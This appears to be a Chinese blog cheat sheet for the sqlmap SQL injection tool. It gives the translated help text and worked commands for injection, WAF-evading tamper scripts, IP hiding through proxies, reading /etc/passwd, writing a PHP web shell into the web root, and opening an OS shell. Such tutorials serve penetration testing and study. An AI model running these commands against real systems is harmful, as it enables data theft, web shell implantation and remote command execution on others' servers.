1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
$ sqlmap -hh  
___
__H__
___ ___[.]_____ ___ ___ {1.8.11#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
-h, --help            显示基本帮助信息并退出
-hh                   显示高级帮助信息并退出
--version             显示程序版本号并退出
-v VERBOSE            日志详细级别:0-6(默认 1)

Target:
-u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1")
-d DIRECT 直接数据库连接的连接字符串
-l LOGFILE 从 Burp 或 WebScarab 代理日志文件解析目标
-m BULKFILE 从文本文件中加载多个目标
-r REQUESTFILE 从文件加载 HTTP 请求
-g GOOGLEDORK 处理 Google Dork 结果作为目标 URL
-c CONFIGFILE 从配置 INI 文件加载选项

Request:
-A AGENT, --user-agent=AGENT HTTP User-Agent 请求头的值
-H HEADER, --header=HEADER 附加的请求头(例如:"X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制使用指定的 HTTP 方法(例如:PUT)
--data=DATA 通过 POST 发送的数据(例如:"id=1")
--param-del=PARAM_DELIMITER 用于拆分参数值的字符(例如:&)
--cookie=COOKIE HTTP Cookie 请求头值(例如:"PHPSESSID=a8d127e..")
--cookie-del=COOKIE_DELIMITER 用于拆分 Cookie 值的字符(例如:;)
--live-cookies=LIVE_COOKIES_FILE 用于加载实时 Cookie 的文件
--load-cookies=LOAD_COOKIES_FILE 以 Netscape/wget 格式加载 Cookie 的文件
--drop-set-cookie 忽略响应中的 Set-Cookie 请求头
--mobile 模拟智能手机的 HTTP User-Agent 请求头
--random-agent 使用随机选择的 HTTP User-Agent 请求头值
--host=HOST HTTP Host 请求头值
--referer=REFERER HTTP Referer 请求头值
--headers=HEADERS 附加请求头(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH_TYPE HTTP 验证类型(Basic, Digest, Bearer 等)
--auth-cred=AUTH_CREDENTIALS HTTP 验证凭据(用户名:密码)
--auth-file=AUTH_FILE HTTP 验证的 PEM 证书/私钥文件
--proxy=PROXY 使用代理连接目标 URL
--proxy-cred=PROXY_CREDENTIALS 代理认证凭据(用户名:密码)
--tor 使用 Tor 匿名网络
--tor-port=TORPORT 设置 Tor 代理端口(默认值)
--delay=DELAY 每个 HTTP 请求之间的延迟(秒)
--timeout=TIMEOUT 连接超时时间(默认 30 秒)

Optimization:
-o 开启所有优化选项
--predict-output 预测常见查询输出
--keep-alive 使用持久的 HTTP(S) 连接
--null-connection 在没有实际 HTTP 响应主体的情况下获取页面长度
--threads=THREADS 最大并发 HTTP(S) 请求数(默认值 1)

Injection:
-p TESTPARAMETER 可测试的参数
--skip=SKIP 跳过测试指定的参数
--skip-static 跳过测试看起来是静态的参数
--param-exclude=REGEXP 使用正则表达式排除指定的参数(例如:"ses")
--param-filter=FILTER 按参数位置选择可测试的参数(例如:"POST")
--dbms=DBMS 强制后端 DBMS 使用指定的值
--dbms-cred=DBMS_CREDENTIALS DBMS 身份验证凭据(用户名:密码)
--os=OS 强制后端 DBMS 操作系统为指定的值
--invalid-bignum 使用大数字来无效化值
--invalid-logical 使用逻辑运算来无效化值
--invalid-string 使用随机字符串来无效化值
--no-cast 关闭有效负载的强制转换机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入有效负载的前缀字符串
--suffix=SUFFIX 注入有效负载的后缀字符串
--tamper=TAMPER 使用指定的脚本篡改注入数据

Detection:
--level=LEVEL 要执行的测试级别(1-5,默认值为 1)
--risk=RISK 要执行的测试风险级别(1-3,默认值为 1)
--smart 仅在启发式方法为正时执行全面测试
--text-only 仅基于文本内容比较页面
--titles 仅基于标题比较页面

Techniques:
--technique=TECHNIQUES 要使用的 SQL 注入技术(默认值 "BEUSTQ")
--time-sec=TIMESEC 后端数据库响应的延迟时间(默认值 5 秒)
--union-cols=UCOLS 用于测试 UNION 查询 SQL 注入的列范围
--union-char=UCHAR 用于暴力破解列数的字符
--union-from=UFROM UNION 查询 SQL 注入中使用的表名
--union-values=UVALUES UNION 查询 SQL 注入中使用的列值
--dns-domain=DNSDOMAIN 用于 DNS 数据外传攻击的域名
--second-url=SECONDURL 用于搜索二阶响应的结果页面 URL
--second-req=SECONDREQ 从文件加载二阶 HTTP 请求

Fingerprint:
-f, --fingerprint   执行全面的 DBMS 版本指纹识别

Enumeration:
-a, --all 检索所有内容
-b, --banner 检索 DBMS 横幅信息
--current-user 检索 DBMS 当前用户
--current-db 检索 DBMS 当前数据库
--hostname 检索 DBMS 服务器主机名
--is-dba 检测 DBMS 当前用户是否为 DBA
--users 枚举 DBMS 用户
--passwords 枚举 DBMS 用户密码哈希
--privileges 枚举 DBMS 用户权限
--roles 枚举 DBMS 用户角色
--dbs 枚举 DBMS 数据库
--tables 枚举 DBMS 数据库表
--columns 枚举 DBMS 数据库表的列
--schema 枚举 DBMS 模式
--count 检索表中条目的数量
--dump 导出 DBMS 数据库表中的条目
--dump-all 导出所有 DBMS 数据库表中的条目
--search 搜索列、表或数据库名称
--comments 检查枚举过程中的 DBMS 注释
--statements 检索 DBMS 中运行的 SQL 语句
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据库表
-C COL 指定要枚举的 DBMS 数据库表列
-X EXCLUDE 排除指定的 DBMS 标识符
-U USER 指定要枚举的 DBMS 用户
--exclude-sysdbs 枚举表时排除 DBMS 系统数据库
--pivot-column=PIVOTCOL 指定透视列名称
--where=DUMPWHERE 在导出表时使用 WHERE 条件
--start=LIMITSTART 指定导出表时要检索的第一条记录
--stop=LIMITSTOP 指定导出表时要检索的最后一条记录
--first=FIRSTCHAR 指定查询输出的首字符
--last=LASTCHAR 指定查询输出的尾字符
--sql-query=SQLQUERY 执行指定的 SQL 查询
--sql-shell 提示交互式 SQL Shell
--sql-file=SQLFILE 从指定文件执行 SQL 查询

Brute force:
--common-tables     检查常见表的存在
--common-columns    检查常见列的存在
--common-files      检查常见文件的存在

User-defined function injection:
--udf-inject        注入自定义用户定义函数
--shared-lib=SHLIB  共享库的本地路径

File system access:
--file-read=FILE.. 从后端 DBMS 文件系统读取文件
--file-write=FIL.. 在后端 DBMS 文件系统上写入本地文件
--file-dest=FILE.. 后端 DBMS 绝对路径用于写入文件

Operating system access:
--os-cmd=OSCMD 执行操作系统命令
--os-shell 提示交互式操作系统 Shell
--os-pwn 提示 OOB Shell、Meterpreter 或 VNC
--os-smbrelay 一键提示 OOB Shell、Meterpreter 或 VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit 框架安装的本地路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows registry access:
--reg-read 读取 Windows 注册表项的值
--reg-add 写入 Windows 注册表项的值数据
--reg-del 删除 Windows 注册表项的值
--reg-key=REGKEY Windows 注册表项
--reg-value=REGVAL Windows 注册表项的值
--reg-data=REGDATA Windows 注册表项的值数据
--reg-type=REGTYPE Windows 注册表项的值类型

General:
-s SESSIONFILE 从存储的会话(.sqlite)文件加载会话
-t TRAFFICFILE 将所有 HTTP 流量记录到文本文件
--abort-on-empty 在结果为空时中止数据检索
--answers=ANSWERS 设置预定义答案(例如:"quit=N,follow=N")
--base64=BASE64P.. 包含 Base64 编码数据的参数
--base64-safe 使用 URL 和文件名安全的 Base64 字母表(RFC 4648)
--batch 永不询问用户输入,使用默认行为
--binary-fields=.. 结果字段具有二进制值(例如:"digest")
--check-internet 在评估目标之前检查互联网连接
--cleanup 清理 DBMS 中的 sqlmap 特定 UDF 和表
--crawl=CRAWLDEPTH 从目标 URL 开始爬取网站
--crawl-exclude=.. 使用正则表达式排除不需要爬取的页面(例如:"logout")
--csv-del=CSVDEL CSV 输出中使用的分隔符(默认:",")
--charset=CHARSET 使用的盲 SQL 注入字符集(例如:"0123456789abcdef")
--dump-file=DUMP.. 将导出的数据存储到自定义文件
--dump-format=DU.. 导出数据的格式(CSV(默认)、HTML 或 SQLITE)
--encoding=ENCOD.. 数据检索时使用的字符编码(例如 GBK)
--eta 显示每个输出的预计到达时间
--flush-session 清除当前目标的会话文件
--forms 解析并测试目标 URL 上的表单
--fresh-queries 忽略会话文件中存储的查询结果
--gpage=GOOGLEPAGE 使用来自指定页面编号的 Google Dork 结果
--har=HARFILE 将所有 HTTP 流量记录到 HAR 文件
--hex 在数据检索期间使用十六进制转换
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 从响应中解析并显示 DBMS 错误消息
--preprocess=PRE.. 使用给定的脚本进行预处理(请求)
--postprocess=PO.. 使用给定的脚本进行后处理(响应)
--repair 重新导出具有未知字符标记(?)的条目
--save=SAVECONFIG 将选项保存到配置 INI 文件
--scope=SCOPE 用正则表达式过滤目标
--skip-heuristics 跳过漏洞的启发式检测
--skip-waf 跳过 WAF/IPS 保护的启发式检测
--table-prefix=T.. 临时表使用的前缀(默认值:"sqlmap")
--test-filter=TE.. 按有效负载和/或标题选择测试(例如 ROW)
--test-skip=TEST.. 按有效负载和/或标题跳过测试(例如 BENCHMARK)
--time-limit=TIM.. 设置运行时限(例如:3600 秒)
--unsafe-naming 禁用 DBMS 标识符转义(例如:"user")
--web-root=WEBROOT Web 服务器文档根目录路径(例如:"/var/www")

Miscellaneous:
-z MNEMONICS 使用简短的助记符(例如:"flu,bat,ban,tec=EU")
--alert=ALERT 在发现 SQL 注入时执行主机操作系统命令
--beep 在提问时和/或发现漏洞时发出蜂鸣声
--dependencies 检查缺少的(可选)sqlmap 依赖项
--disable-coloring 禁用控制台输出颜色
--list-tampers 显示可用的篡改脚本列表
--no-logging 禁用日志记录到文件
--offline 离线模式下工作(仅使用会话数据)
--purge 安全地删除 sqlmap 数据目录中的所有内容
--results-file=R.. 多目标模式下的 CSV 结果文件位置
--shell 提示交互式 sqlmap Shell
--tmp-dir=TMPDIR 用于存储临时文件的本地目录
--unstable 调整不稳定连接的选项
--update 更新 sqlmap
--wizard 为初学者提供简单的向导界面

SQLMap 完全支持以下 DBMS:

SQLMap fully supports DBMSes
MySQL Oracle PostgreSQL Microsoft SQL Server
SQLite IBM DB2 Microsoft Access Firebird
Sybase SAP MaxDB Informix MariaDB
HSQLDB CockroachDB TiDB MemSQL
H2 MonetDB Apache Derby Amazon Redshift
VerticaMckoi Presto Altibase MimerSQL
CrateDB Greenplum Drizzle Apache Ignite
Cubrid InterSystems Cache IRIS eXtremeDB
FrontBase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# GET  
sqlmap -u 'http://www.example.com/?id=1'

# POST
sqlmap 'http://www.example.com/' --data 'id=*'

# Cookie
sqlmap 'http://www.example.com/' --cookie 'id=*'

# Json
sqlmap 'http://www.example.com/' -H 'Content-Type: application/json' --data '{"id": 1}'

# 前缀/后缀
sqlmap -u "www.example.com/?q=test" --prefix="'" --suffix="-- -"

# Request
sqlmap -r req.txt

GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
# 或
HTTP / HTTP/1.0
Host: www.example.com

{
"data": [{
"type": "articles",
"id": "1",
"attributes": {
"title": "Example JSON",
"body": "Just an example",
"created": "2020-05-22T14:56:29.000Z",
"updated": "2020-05-22T14:56:28.000Z"
},
"relationships": {
"author": {
"data": {"id": "42", "type": "user"}
}
}
}]
}
1
2
3
4
5
6
7
8
# CSRF-Token  
sqlmap -u "http://www.example.com/" --csrf-token="csrf-token" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE"

# randomiz
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch

# MD5
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch
1
2
3
4
5
6
7
8
9
# 随机 User-Agent  
--random-agent

# 绕过 WAF
--skip-waf

# 设置代理,隐藏IP
--proxy="socks5://127.0.0.1:7890"
--proxy-file file # 代理列表

篡改脚本

1
2
--tamper  
--tamper=between,randomcase
篡改脚本 描述
0eunion 替换实例与 UNIONe0UNION
base64encode 对给定有效载荷中的所有字符进行 Base64 编码
between 将大于运算符 ( >) 替换为NOT BETWEEN 0 AND #并将等于运算符 ( =) 替换为BETWEEN # AND #
commalesslimit LIMIT M, NLIMIT N OFFSET M对应的实例替换(MySQL)
equaltolike 用对应的运算符替换所有出现的相等运算符 ( =)LIKE
halfversionedmorekeywords 在每个关键字前添加(MySQL)版本注释
modsecurityversioned 包含带有(MySQL)版本注释的完整查询
modsecurityzeroversioned 使用(MySQL)零版本注释来包含完整查询
percentage %在每个字符前面添加百分号 ( )(例如 SELECT -> %S%E%L%E%C%T)
plus2concat 将加法运算符 ( +) 替换为 (MsSQL) 函数 CONCAT() 对应项
randomcase 用随机大小写值替换每个关键字字符(例如 SELECT -> SEleCt)
space2comment 将空格字符 ( ) 替换为注释 `/
space2dash 将空格字符 ( ) 替换为破折号注释 ( --),后跟随机字符串和新行 ( \n)
space2hash 将 (MySQL) 空格字符 ( ) 替换为井号字符 ( #),后跟随机字符串和换行符 ( \n)
space2mssqlblank 使用有效替代字符集中的随机空白字符替换 (MsSQL) 空格字符 ( ) 的实例
space2plus 将空格字符 ( ) 替换为加号 ( +)
space2randomblank 使用一组有效替代字符中的随机空白字符替换空格字符 ( )
symboliclogical 将 AND 和 OR 逻辑运算符替换为相应的符号运算符 ( &&and |)
versionedkeywords 将每个非函数关键字括在 (MySQL) 版本注释中
versionedmorekeywords 将每个关键字括在(MySQL)版本注释中

读文件

1
2
3
4
5
6
7
8
9
10
sqlmap -u "http://www.example.com/?id=1" --is-dba  
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

$ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

<SNIP>

写文件

1
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

执行命令

1
2
3
4
5
6
7
8
$ sqlmap -u "http://www.example.com/?id=1" --os-shell  

<SNIP>

os-shell>

# 无/异常输出,切换技术(E 报错)
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
2024-09-08
Contents

⬆︎TOP